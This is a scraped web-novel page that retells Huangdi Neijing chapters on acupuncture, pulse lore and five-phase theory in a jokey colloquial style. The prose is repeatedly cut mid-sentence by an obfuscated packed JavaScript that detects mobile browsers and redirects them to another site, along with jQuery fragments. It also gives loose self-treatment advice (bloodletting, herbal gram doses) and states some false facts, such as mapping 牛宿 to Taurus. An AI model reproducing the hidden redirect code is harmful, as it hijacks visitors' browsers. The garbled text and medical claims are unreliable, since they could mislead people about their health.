l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318202|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “至于‘缪刺’嘛，那就更有意思了。你想啊，有时候咱们感觉到的痛处，和真正出问题的经络位置好像有那么点‘错位’，就像是导航定位错了似的。这时候，就得用‘缪刺’来纠正这个错误，找到那隐藏在背后的真正病灶，给它来个精准打击。所以啊，‘缪刺’的名字就是这么来的，缪者，谬也，错位之意，却也蕴含着纠正之道。比如说，如果你感觉左边肩膀疼，按照‘缪刺’的原理，大夫可能会选择右边的某个对应穴位，比如‘肩髃’（现代称法，位于肩部，三角肌上部中央，臂外展时肩峰前下方的凹陷处）进行针刺。这听起来可能有点玄乎，但实际效果却是杠杠的，就像是你电脑里的某个文件丢失了，却在回收站里找到了它的影子一样。” 黄帝又问了：“老岐，能跟我聊聊这中医里的奇招——缪刺法是怎么对付那些突如其来的小毛病的吗？” 岐伯哈哈大笑：皇上，话说啊，这“缪刺”啊，就像是咱们玩游戏时的“镜像反击”，不直接对着敌人（病症）干，而是找它的“影子”（对应的穴位）下手，巧妙得很！要是那捣蛋的邪气悄悄溜进了咱们的“足少阴肾经”的小路上，哎哟，不得了，人会突然心疼得像被针扎，肚子胀得跟鼓似的，胸啊、胁啊，感觉满满当当的，但实际上又不是真长了啥东西。这时候咋办？别急，咱们找“然骨穴”的前边儿，就是现代说的“照海穴”那儿，给它来个轻轻的小刺，放点血出来，嘿，就像给身体的小情绪开个阀门，放放气，没多久，那感觉就跟吃了顿美餐一样，舒服多了。如果还不行，咱们就来个左右互搏，左边有问题刺右 边，右边有恙刺左边，新发的病，五天之内准能好利索。 这章没有结束，请点击下一页继续阅读！ 四时刺逆从论篇第六十四 咱们聊聊这“厥阴”老兄。在中医里，厥阴可是个大佬级别的存在，它主管着人体的肝经和一些深层次的阴阳平衡。要是厥阴“有余”，就是能量过剩了，这家伙可能会捣蛋，让人得上“阴痹”——想象一下，身体里的气血流动不畅，就像冬天里的河流结了冰，冷飕飕的，还伴随着疼痛和麻木，这就是阴痹啦。而要是厥阴“不足”，就像河流干涸，热量就开始乱窜，引起“热痹”，感觉就像是身体里开了个小火炉，又热又痛，难受极了。 再来说说“滑”和“涩”两种脉象。这脉象啊，就像是咱们摸水管里的水流，滑脉就像是水流畅快无阻，但在这里可不是好事，它可能导致“狐疝风”——想象一下，肚子上突然鼓出个包，像狐狸偷偷藏的果子，时隐时现，还伴着风邪入侵的症状，比如皮肤瘙痒、风疹等。而涩脉呢，就像水管里水流不畅，有沙子堵着，它会让“少腹积气”，就是小肚子那块儿气鼓鼓的，胀得难受，感觉像是装了个小皮球。 接下来，咱们转到“少阴”这边瞧瞧。少阴主管的是心肾两脏，要是它“有余”，嘿，那可得小心了，可能会得“皮痹隐轸”——皮肤变得又硬又糙，还可能有隐隐的斑点或纹路，就像是树皮一样。而少阴“不足”，则可能影响到肺，引发“肺痹”，感觉就像是呼吸都变得沉重，胸口像是压了块大石头。滑脉在这里，可能意味着“肺风疝”，就是肺部受风邪侵袭，加上疝气的症状，想想都让人头疼。涩脉呢，则可能导致体内积聚，小便还带血，这可是个大问题，得赶紧调理。 咱们来到“太阴”的地盘。太阴主管的是脾经，它要是“有余”，可能会导致“肉痹寒中”——肉变得僵硬，身体内部还感觉冷冰冰的，就像吃了太多冰棍儿，从里到外都透着寒气。而太阴“不足”，则会引发“脾痹”，脾胃功能减弱，消化吸收都成问题。滑脉在这里，可能会让人得“脾风疝”，就是脾经受风邪加上疝气的双重打击。涩脉呢，同样会导致积聚，心腹时不时就觉得胀满，好像肚子里有永远填不满的空洞。 咱们身体里的阳气，就像那太阳公公，有时候热情过了头，就成了“阳明有余”。这时候啊，它不光自己嗨，还带着血脉一起跳舞，结果就跳出了“病脉痹”，感觉血脉里像是塞了车，不畅通；身体呢，时不时就来个“随机热”，跟天气预报对着干。要是阳气不够给力，成了“阳明不足”，那就糟了，心脏小弟会闹别扭，得个“心痹”，心里头堵得慌。 再来说说脉象吧，滑脉一出，就像手滑了手机，抓不住实感，这时候可能是心脏风风火火地搞了个“心风疝”，得悠着点。而涩脉呢，就像是老唱片卡带了，不流畅，暗示着体内可能有“积”，像是库存太多没消化，时不时还给你来个“惊喜”——突然吓一跳，心慌慌的。 接下来，咱们聊聊“太阳”这位大佬。太阳有余时，骨骼可遭殃了，得个“骨痹”，走起路来像背了座山，沉甸甸的。太阳不足呢，肾就开始喊累了，肾痹找上门，腰酸背痛腿抽筋。滑脉再来凑热闹，肾风疝也跟着起哄，那叫一个难受。涩脉一出现，还是积的问题，外加时不时脑袋顶上“放烟花”——巅疾，头疼欲裂，仿佛灵魂在跳舞。 到了“少阳”这儿，它就像是身体里的叛逆少年，有余时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318203|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋脉和胁肋就开始“造反”，筋痹胁满，感觉像是被绑了根紧绷的弦。不足了，肝就委屈巴巴地得个肝痹，情绪也跟着不稳定。滑脉一来，肝风疝也跟着凑热闹，肝风那个吹啊，吹得人心肝乱颤。涩脉呢，还是积的老问题，外加时不时筋扯得疼，眼睛也跟着受罪，疼得你怀疑人生。 现在，咱们来点轻松愉快的，聊聊这四季之气在身体里的“旅行”。春天啊，万物复苏，阳气就像刚从冬眠醒来的小熊，开始在经脉里悠哉游哉地溜达，给全身带来生机与活力。夏天一到，热情似火，阳气跑到孙络（现代可以理解为细小的血管网络）里狂欢，汗水哗哗地流，那是身体在排毒呢！ 到了长夏（就是夏天和秋天之间的那段过渡期），阳气就懒洋洋地躲进了肌肉里，享受那份厚实与安稳，这时候咱们得注意健脾祛湿，别让湿气困住了身体。秋天来了，阳气开始收敛，它跑到皮肤上，准备过冬的衣物，皮肤也变得更加敏感，得好好呵护，别让秋风伤了你的面子。 冬天呢，阳气就像怕冷的孩子，躲进了骨髓里取暖，这时候咱们得注意保暖，别让它着凉了，不然可就得了“骨髓寒”，那可是从里到外的冷啊！ 说到这里，咱们不得不提一句，中医的博大精深，不仅仅在于这些病症和脉象的复杂多变，更在于它对于人体与自然和谐共生的深刻理解。就像咱们现代人说的“养生”，其实就是顺应四时，调和阴阳，让身体这个“小宇宙”与外面的“大宇宙”保持同步，这样才能健康长寿，乐享人生。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 标本病传论篇第六十五 黄帝有一天闲来无事，就拉着岐伯老师聊起了天，他好奇地问：“嘿，岐伯老师，您说说，这人生病啊，有个标本之分，治疗的时候扎针也有个逆从的讲究，这到底是怎么个理儿呢？” 岐伯老师一听，笑眯眯地捋了捋胡子，开始了他的讲解：“哎呀，黄帝陛下，这刺针之道啊，可是一门大学问。首先呢，咱们得搞清楚阴阳，就像分白天黑夜一样，人体也有阴阳两面。治病时，得前后呼应，该逆则逆，该法则法，灵活施针，让病邪的‘标本’位置发生变化，从而达到治疗效果。” 黄帝一听，眼睛亮了：“哦？说来听听，怎么个‘标本相移’，又怎么个‘逆从得施’？” 岐伯继续道：“咱们先说这‘标本’吧。有时候，病看起来在表面，比如皮肤上的疹子，咱们就直接治这表面，这叫‘在标而求之于标’。但有时候，表面的问题其实是内里脏腑失调的反映，这时候就得深入根本去治疗，比如调理脾胃，这叫‘在本而求之于本’。更有趣的是，有些病呢，虽然根子在里头，但表现却在外面特别明显，这时候咱们可以‘在本而求之于标’，先解决表面的症状，让病人舒服点，再慢慢调理根本。反过来，有时候表面的小问题其实是内里大病的预警，这时候就得‘在标而求之于本’，不能掉以轻心。” 黄帝听得津津有味，连连点头：“妙哉！那‘逆从’又是怎么回事呢？” 岐伯笑道：“这‘逆从’啊，就像你走路，有时候得顺着路走，有时候得绕个弯儿。在针灸上，就是根据病邪的走向和人体的气血运行情况来决定是顺着经络刺还是逆着经络刺。比如，如果病邪是从里往外走，咱们就顺着经络走向刺，帮助它排出去，这叫‘从取’。反之，如果病邪顽固，需要咱们给它点‘反向动力’，那就逆着经络刺，给它来个措手不及，这叫‘逆取’。总之，就是得根据具体情况，灵活变通。” 黄帝听完，一拍大腿：“哎呀，这学问真是深似海啊！那要是不知道这些‘标本’、‘逆从’的道理，岂不是乱扎一气，成了‘妄行’？” 岐伯点头：“正是如此。所以，咱们学医的人啊，不仅要会扎针，更要懂得这背后的医理，知道什么时候该出手，怎么出手，才能做到‘万举万当’。不然，那就是瞎子摸象，白费力气还可能伤人伤己。” 说到这里，岐伯话锋一转，开始用现代的语言和例子来解释：“你看啊，就像咱们现在说的穴位，比如合谷穴，它在手上，是大肠经的原穴，有时候你头疼脑热，按一按合谷穴，立马就舒服了，这就是‘在标而求之于标’。但如果你经常便秘，脸色不好，那光按合谷就不够了，得从脾胃入手，调理中脘、足三里这些穴位，这就是‘在本而求之于本’。至于‘逆从’，就像是你开车，遇到红灯得停，绿灯才能走，针灸也是这个道理，得顺应身体的自然规律，不能乱来。” 黄帝听得哈哈大笑：“岐伯老师，您这一说，我这脑袋瓜子可就透亮多了！以后看病扎针，可得好好琢磨这‘标本’、‘逆从’的道理。” 咱们得明白，这阴阳啊，就像是咱们生活中的白天黑夜，热天冷天，男左女右，一阴一阳之谓道嘛！在中医眼里，人体也是个小宇宙，五脏六腑、气血津液，无一不在这阴阳平衡中翩翩起舞。要是这平衡给打乱了，嘿，那就得小心各种“小妖精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318204|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”（疾病）找上门来啦！ 说到逆从，咱们得想象自己是个将军，指挥着千军万马（身体里的各种机能）。这“从”啊，就像是士兵们听从号令，步调一致，身体自然康健；而那“逆”嘛，就像是队伍里出了叛徒，各自为政，身体不就乱套了嘛！所以，中医治病讲究的就是个“顺其性，调其逆”，让身体回归正轨。 再来说说标本，这可比咱们在市场上挑西瓜还讲究呢！标，就像是西瓜皮，是病在表面的症状；本，则是西瓜瓤，是病根所在。有时候，你头疼脑热，以为是感冒了，吃点感冒药就完事儿？嘿，那可不一定，说不定是身体内部某个脏腑在给你打“小报告”呢！这时候，就得像侦探一样，抽丝剥茧，找到那“罪魁祸首”，才能药到病除。 就是说，不管你是先有了病，然后症状才表现出来；还是先有了不正常的状况（逆），然后才生病，都得先治那病根儿！比如说，你老是觉得胸闷气短，一查发现是心脏有点小毛病，这时候光吃顺气丸可不够，得从养心护心做起，比如揉揉内关穴（手腕横纹上两寸，两筋之间），那可是心脏的“保镖”哦！ 咱们不整那些复杂的，就来个简单实用的“养心安神茶”。材料嘛，就是红枣几颗（补气养血），枸杞一小把（养肝明目），再加几片百合（清心除烦）。把这些宝贝放进保温杯，用开水一泡，嘿，那味道，甜中带香，不仅好喝，还能养心安神，改善睡眠质量。记得哦，这方子里的量都是大约的，红枣三五颗，枸杞十几粒，百合三四片，具体还得根据您自己的口味和身体状况来调整。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 天元纪大论篇第六十六 黄帝大佬有一天突发奇想，抬头望望蓝天白云，又低头瞅瞅自己的身体，心里琢磨开了：“这天上有金木水火土五行，它们各自镇守一方，给咱们带来了寒、暑、燥、湿、风这些气候变化。而我人体内呢，也有五脏六腑，它们对应着五气，让我能生出喜怒哀乐思恐这些丰富的情感。书上说，自然界的五行运转是相互关联、循环不息的，这点我算是搞明白了。可我就纳闷了，这五行运转和咱们中医里说的三阴三阳（其实就是身体里的阴阳变化规律，跟太阳月亮的阴晴圆缺似的）是怎么个相互融合、相互作用的法子呢？” 这时候，鬼臾区这位大佬级别的学者，赶紧上前，毕恭毕敬地给黄帝磕了个头，然后笑眯眯地说：“黄帝大人，您这问题真是问到点子上了，高瞻远瞩啊！这五运阴阳啊，简直就是天地的法则，万物的纲领，变化的源泉，生命的开关，还是智慧的宝库，咱们能不深究吗？” “您知道吗？万物生长那叫‘化’，就像种子发芽长成大树；而到了极致，就会发生‘变’，比如叶子黄了会落，果子熟了会摘。这阴阳之间的变化，有时候真的让人捉摸不透，那就叫‘神’！而那些能灵活运用这些变化规律，达到出神入化境界的人，咱们就称他为‘圣’。所以啊，这变化之道，在天上就是宇宙的奥秘，在咱们人身上就是修行的道路，在地上嘛，就是万物生长消亡的法则啦。” 说到这里，咱们不妨把这事儿往咱们现代人的生活中靠靠。想象一下，你每天早上起床，是不是感觉身体里有一股“木”气在涌动，那是肝在告诉你，新的一天要开始了，得精神点！然后你出门上班，遇到堵车，心里那个“火”啊，蹭蹭往上涨，这就是心火旺盛了。中午吃个饭，油腻了点，脾胃就开始“土”性大发，消化不良了。下午开会，老板一顿批，你心情低落，肺里的“金”气好像都被抽走了，郁闷得不行。晚上加班到深夜，肾里的“水”都快熬干了，累得只想倒头就睡。 你看，这不就是五行在我们日常生活中的体现嘛！而且，这五行和三阴三阳还是紧密相连的。比如你心情好的时候，阳气就足，身体就暖洋洋的，像是春天里的阳光，那是三阳开泰啊！心情一差，阴气就重，身体就冷冰冰的，跟冬天的寒风似的，那就是三阴闭藏了。 至于穴位嘛，咱们中医的穴位就像是身体里的开关，一按就灵。比如你心情烦躁，可以揉揉心包经上的内关穴，它就像是一个小小的“灭火器”，能帮你平息心中的怒火。再比如你晚上失眠，可以试试按摩一下脚底的涌泉穴，那可是肾经的源头，能让你感受到一股暖流从脚底升起，仿佛置身于温泉之中，自然就能安然入睡了。 至于方剂嘛，那更是中医的精髓所在。比如经典的四君子汤，就是人参、白术、茯苓、甘草这四味药组成的，它们就像是四位君子一样，各司其职，共同协作，来调理你的脾胃。换算成现代的计量单位，大概就是人参9克、白术9克、茯苓9克、甘草6克，加水煮一煮，一碗暖暖的健脾益气汤就出炉了。喝下去，那感觉，就像是给身体做了一次SPA，整个人都精神焕发起来。 咱们老祖宗在几千年前就琢磨出了宇宙万物生成的大道理，简直比现在的科幻电影还玄幻呢！他们说啊，“化生五年道生智，玄生神”，这话听着就像是宇宙版的“五年高考三年模拟”，不过人家是在讲生命智慧的慢慢积累，最终达到一种玄妙莫测的神明境界。想象一下，这就像是你我，从懵懂的小屁孩儿，到学会加减乘除， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318205|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再到解微积分，最后能跟爱因斯坦探讨相对论一样，那智慧的光芒，啧啧，亮瞎眼啊！ 接下来这段，简直就是自然界的“连连看”游戏嘛！“神在天为风，在地为木”，这不就是说，天上的风是神灵的呼吸，吹到地上就变成了生机勃勃的树木吗？想象一下，风婆婆轻轻一吹，嘿，地上的小树苗就嗖嗖地往上窜，这画面，比任何游戏特效都震撼！而“在天为热，在地为火”，就像夏天太阳火辣辣地照着，地面都能烤熟鸡蛋，这不就是“热”变“火”的生动演绎嘛！ 说到“在天为湿，在地为土”，天上的云层厚了，带来湿润，落到地上就成了滋养万物的土壤，农民伯伯可喜欢了，因为“土”能生金（这里的金不是真的金子，而是指收获）啊！ “在天为燥，在地为金”，这个容易理解，秋天空气干燥，落叶满地，金色一片，这就是自然的节奏嘛！而“在天为寒，在地为水”，冬天到了，寒风凛冽，河水结冰，这不就是“寒”转化为“水”的固态形式嘛？ 接下来这段，讲的是天地万物的互动关系，就像是舞台上的演员，有上有下，有左有右。“天地者，万物之上下也”，就是说天地是万物生长的舞台，有上就有下，分得很清楚。“左右者，阴阳之道路也”，阴阳就像是舞台的左右通道，万物通过它们来交流、变化。“水火者，阴阳之征兆也”，水和火，一阴一阳，它们的表现就是阴阳的直接体现，水火不容却又相生相克，就像是一对欢喜冤家。“金木者，生成之终站也”，金和木，代表着生命从开始到成熟的过程，就像是游戏里的关卡，一关接一关，最终达到生命的巅峰。 本小章 还未完，请点击下一页继续阅读后面精彩内容！ 五运行大论篇第六十七 黄帝坐在金碧辉煌的明堂里，感觉自己就像是个宇宙级的大导演，正儿八经地开始规划起天地间的“剧本”来。他抬头望向那浩瀚无垠的八极（想象一下，就是东、南、西、北加上东南、东北、西南、西北这八个方向，黄帝心里默念着：“这宇宙大片，我得拍得有模有样！”），心里琢磨着：“这天地间的动静，得有个啥来当导演吧？哦对，神明！它们就是最佳编剧加导演团队！” 接着，黄帝又低头沉思：“阴阳这俩小家伙，一上一下，一升一降，玩得可欢了，结果呢，寒来暑往，四季更迭，这不就是它们给咱们放的‘天气预告片’嘛！”想到这里，黄帝不禁微微一笑，觉得自己真是个天才，啥都能想通。 但黄帝毕竟是黄帝，他追求的是知识的极致。于是，他召来了天师——那可是当时最牛掰的学问家，就像咱们现在的顶级科学家加哲学家合体。黄帝一脸认真地问：“天师啊，我听说你精通五运之数，能给我详细讲讲不？特别是那五气，怎么一年一年轮流当老大，掌管着咱们的生活节奏？” 鬼臾区悠悠地说：“你们知道吗？在咱们中医的世界里，土、金、水、木、火这五行啊，它们跟天干里的甲己、乙庚、丙辛、丁壬、戊癸是有着不解之缘的。就像是五行小精灵们各自找到了自己的小伙伴，一起跳起了宇宙间的和谐之舞。而说到咱们身体上的时间地图——十二时辰和对应的脏腑经络，那就更有趣了！” “比如说，子时和午时吧，这两个时间点就像是夜晚和白天的两位大佬，它们分别由咱们身体的‘小老弟’少阴肾经和‘大姐大’少阴心经来守护。想象一下，子夜时分，万物沉寂，肾经悄悄地在为身体积蓄能量，准备迎接新的一天；而到了中午，太阳高挂，心经则火力全开，让你精神抖擞。这不就是自然界的阴阳平衡，在咱们身体上活灵活现嘛！” “再瞧瞧丑时和未时，这是脾胃两位‘老黄牛’的专场。丑时，太阴脾经开始忙碌，帮你消化前一晚的美食，为身体提供源源不断的动力；未时，则是小肠经接班，继续细化吸收，确保营养不浪费。这就像是家里的厨房，早晚不停歇，为全家人提供温暖和能量。” “寅时和申时，是少阳胆经和阳明大肠经的主场。寅时，天刚蒙蒙亮，胆经就像是个勇敢的探险家，唤醒你的身体，准备迎接新挑战；申时呢，则是大肠经当班，帮你清理体内的垃圾，保持身体的通畅无阻。这不就像是家里的清洁工，虽然不起眼，但缺了可不行！” “辰时和戌时，是太阳膀胱经和心包经的舞台。辰时，膀胱经开始工作，帮你排出体内的废水，让身体焕然一新；戌时，心包经则像是守护心灵的卫士，帮你缓解一天的疲惫，准备进入梦乡。这就像是家里的水管工和心理咨询师，一个负责物质层面的疏通，一个负责精神层面的慰藉。” “最后说到巳时和亥时，这是厥阴肝经和三焦经的时间。巳时，肝经活跃，帮你排毒养颜，调节情绪；亥时，三焦经则像是身体的总调度师，协调各脏腑的功能，确保它们和谐共处。这就像是一个家庭里的CEO和CFO，一个负责战略方向，一个负责财务管理，共同维持家庭的正常运转。” 这时候，岐伯大神出现了，他笑眯眯地说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318206|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “鬼臾区啊，你说得没错，这确实是天地间的阴阳之道。但你知道吗？咱们人体内的阴阳，可不仅仅是这些简单的对应关系哦。它们复杂多变，就像数学里的数列，可以无限延伸。不过，和数学不同的是，咱们中医的阴阳，更多的是通过观察自然界的现象，比如四季更迭、日月交替，来领悟其中的奥秘。” “说到这，我就得提提咱们中医的精髓了——象思维。啥是象思维呢？简单来说，就是通过观察事物的外在表现，来推测其内在的本质和变化规律。比如，看到树叶黄了，就知道秋天来了；看到舌头红了，就知道体内可能有热。这种思维方式，让咱们中医在治疗时，不仅能治标，更能治本，达到身心的和谐统一。” 岐伯大人他老人家一翻开那本传说中的《太始天元册》，就像是打开了宇宙的秘密档案，里面记载的天文、医理，简直是天人合一的绝妙篇章。咱们今天就来聊聊这“五色天之气”与咱们身体上那些个神秘穴位的小秘密。 首先，咱们得明白，这“丹天之气”，听起来就红红火火，对吧？它呀，就像夏日的夕阳，热情奔放，穿过那牛宿（现代星座大致对应金牛座）和女宿（对应处女座）的缝隙，还特意在咱们身体的小牛（其实就是肩井穴附近，咱们现代不直接对应星座，但可以这样想象，增加趣味性）和小姑娘（咱们就不直说了，毕竟文雅点嘛，可以理解为心灵之所在）之间溜达了一圈。这丹天之气，寓意着生命力旺盛，就像咱们年轻人，活力四射，得好好利用这股劲儿，多做运动，保持身心健康！ 这章没有结束，请点击下一页继续阅读！ 六微旨大论篇第六十八（上） 黄帝陛下今天有些深沉，嘴里嘀咕着：这天道，到底是个啥玩意儿？今儿个，我就厚着脸皮，求您老人家给咱来个痛快，把这天道的事儿，好好掰扯掰扯，让它像咱家的传家宝一样，流传千古，永不褪色！ 岐伯一听黄帝这请求，立马恭恭敬敬地行了个大礼，连拜了两次，才慢悠悠地说：“陛下这问题，真是高明得很啊！这天道嘛，说白了就是自然界的运行规律，是万物盛衰更替的法则。咱们得顺着这自然的节奏跳舞，才能和谐共生。” “您想啊，咱们人体也是个小宇宙，跟这天道那是紧密相连的。就像天上的日月星辰有它们的运行轨迹，咱们身体的经络穴位也有它们的运行路线。就说这穴位吧，它们就像是身体里的一个个小秘密基地，藏着调节身体机能的钥匙。比如，您知道吗？咱们现代人常说的‘合谷穴’，那可是个万金油，头疼脑热、牙疼鼻塞，按一按，准能缓解不少。这穴位啊，就位于咱们大拇指和食指之间的那块凸起肌肉上，轻轻一按，就像是打开了身体自我修复的小开关，神奇得很！” “再来说说这天道与咱们的日常养生吧。您看那天上的太阳，东升西落，四季更迭，这不就是提醒我们要顺应时令，早睡早起，合理饮食吗？春天万物复苏，咱们就该吃点儿清淡的，让身体也跟着一起‘发芽’；夏天炎热，就得多喝水，多吃瓜果，清热解暑；秋天干燥，得润肺养阴；冬天寒冷，就得温补，让身体暖洋洋的过冬。这不就是天道在咱们生活中的具体体现嘛！” “至于脉象，那可是中医的独门绝技，通过摸手腕上的动脉，就能感知身体内部的健康状况。就像是读一本无字天书，需要用心去感受，去领悟。脉象有浮、沉、迟、数之分，每一种都代表着不同的身体状况。比如，浮脉就像是一叶轻舟漂在水面上，轻轻一按就能感觉到，这往往表示身体表面有邪气入侵，比如感冒啥的。而沉脉呢，就像是潜水员在水下摸索，得用力按才能感受到，这通常说明病邪已经深入到身体内部了。” “黄帝陛下，您知道吗？中医治病，讲究的就是个‘天人合一’，就是要咱们根据天道的规律来调整自己的生活方式，让身体保持在一个最和谐的状态。就像是大自然中的花草树木，春天发芽，夏天茂盛，秋天结果，冬天休眠，一切都是那么的自然而然。” “所以啊，咱们在日常生活中，也要学会顺应天道，该吃就吃，该睡就睡，别老是熬夜加班，把自己搞得跟个陀螺似的转个不停。那样做，不仅对身体不好，还会影响心情，让咱们离天道越来越远。” “最后，我再给陛下您支个招儿。要是觉得身体哪儿不舒服了，先别急着吃药打针，试试中医的推拿、拔罐、针灸这些绿色疗法。它们可是根据天道的原理，通过刺激经络穴位，来调动身体的自愈能力，让您在不知不觉中恢复健康。这可比那些冷冰冰的医疗器械要温馨多了，您说是不？” 一番话说得黄帝陛下是频频点头，心里那叫一个豁然开朗。原来这天道，并不是那么高深莫测，它就藏在咱们日常生活的点点滴滴之中，只要咱们用心去体会，就能感受到它的温暖与智慧。 黄帝陛下发问了：“嘿，岐伯啊，我特别想听听那天道六六之节到底是个啥玩意儿？还有啊，自然界的万物盛衰，背后有啥门道不？” 岐伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318207|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一听，嘿，这可是个大话题，但他老人家胸有成竹，笑眯眯地开始侃侃而谈：“陛下，您问得好！咱们古人讲究天人合一，您看这天地之间，上下有序，左右有章，就像咱们身体的经络穴位一样，井然有序。咱们不妨用个接地气的比方，把人体的经络和自然界的六气（风、寒、暑、湿、燥、火）对应起来，讲讲这‘气之标’的奥秘。” “您想啊，咱们如果面朝南方站立，就像咱们早晨迎接第一缕阳光那样，就可以开始这场奇妙的旅程了。首先，咱们从少阳开始说起，少阳就像咱们身体的胆经，它管的是初生之阳，温暖而充满生机。在少阳的右边，也就是咱们身体的右侧（这里咱们就简化处理，不直接对应现代穴位，毕竟古代和现代对穴位的理解有差异，但精神相通），阳明之气就接过了接力棒，它就像咱们的大肠经和胃经，光明磊落，负责消化和吸收，给身体提供能量。” “阳明之后呢，轮到太阳登场了，这太阳啊，就像咱们身体的小肠经和膀胱经，热情奔放，负责把多余的水液排出体外，维持身体的平衡。而太阳的右边，也就是自然循环的下一个阶段，厥阴之气悄然而至，它就像肝经，藏而不露，却又至关重要，调节着气血的流通。” “厥阴之后，少阴接力，少阴就像咱们的心肾之交，虽不显眼，却是生命之火的源泉，对应到身体上，就是心经和肾经，一个主火，一个主水，水火既济，身体才能和谐运转。少阴的右边，太阴登场，太阴就像咱们的脾经和肺经，负责运化水谷，呼吸吐纳，是咱们身体的后勤部长，让气血生生不息。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六微旨大论篇第六十八（下） 黄帝好奇地挠了挠头，对岐伯说：“嘿，岐伯啊，你说这外界的邪气要是侵入人体，会是个啥情况呢？是不是跟咱们朝廷里那些官员办事效率似的，各有各的调调？” 岐伯一听，乐了，他捋了捋胡须，慢悠悠地解释道：“哎呀，黄帝您这比喻可真妙！邪气入侵啊，确实跟朝廷里的规矩有点像。您看，如果邪气正好撞上了咱们身体里的‘执法大臣’——那些关键的脏腑经络，比如心肝脾肺肾，还有任督二脉这样的‘要道’，那病情就像是朝廷里突然来了紧急军情，得立马处理，不然就得乱套，所以发病快，还危险得很呢！” 黄帝听得津津有味，继续追问：“那要是邪气去了‘行令部门’，比如脾胃这样的‘后勤司令’，又会怎样呢？” 岐伯笑着回答：“这就好比朝廷里的文书传递，虽然不急，但得一步步来，稳稳当当。邪气入侵脾胃这样的脏腑，病情就会来得慢一些，但会持续较长时间，就像是一场持久的拉锯战，得慢慢调理。” 黄帝眼睛一亮，追问：“那要是邪气直接找上了‘贵人’呢？比如脑袋里的‘皇帝’——大脑，或者是咱们身体里的‘秘密花园’——心脏？” 岐伯神色凝重：“那可就是大事不妙了！就像宫廷政变，突然而猛烈，往往让人措手不及。邪气一旦直击这些要害，病情就会来得既急又凶，甚至可能危及性命，就像是宫廷里的一场大火，瞬间就能将一切化为灰烬。” 黄帝点了点头，若有所思：“原来如此，这邪气入侵还真是个大学问。那要是邪气在身体里的位置变来变去，又该怎么看待呢？” 岐伯微微一笑，解释道：“这就好比朝廷中的官职变动。如果君主的权威得以巩固，臣子各安其位，那就是顺应天道，自然和谐。在人体里，如果正气充足，邪气就难以肆虐，即便入侵，也会远离脏腑核心，危害自然就小了。反之，如果正气不足，邪气趁机作乱，就像是臣子篡位，那病情就会迅速恶化，危害也就大了。这啊，就是我们常说的‘二火’现象，一顺一逆，结果大相径庭。” 黄帝听得连连点头，忍不住又问：“哈哈，岐伯你真是博学多才！那我还想听听，你刚才提到的‘步’是什么意思？是不是跟咱们走路有关？” 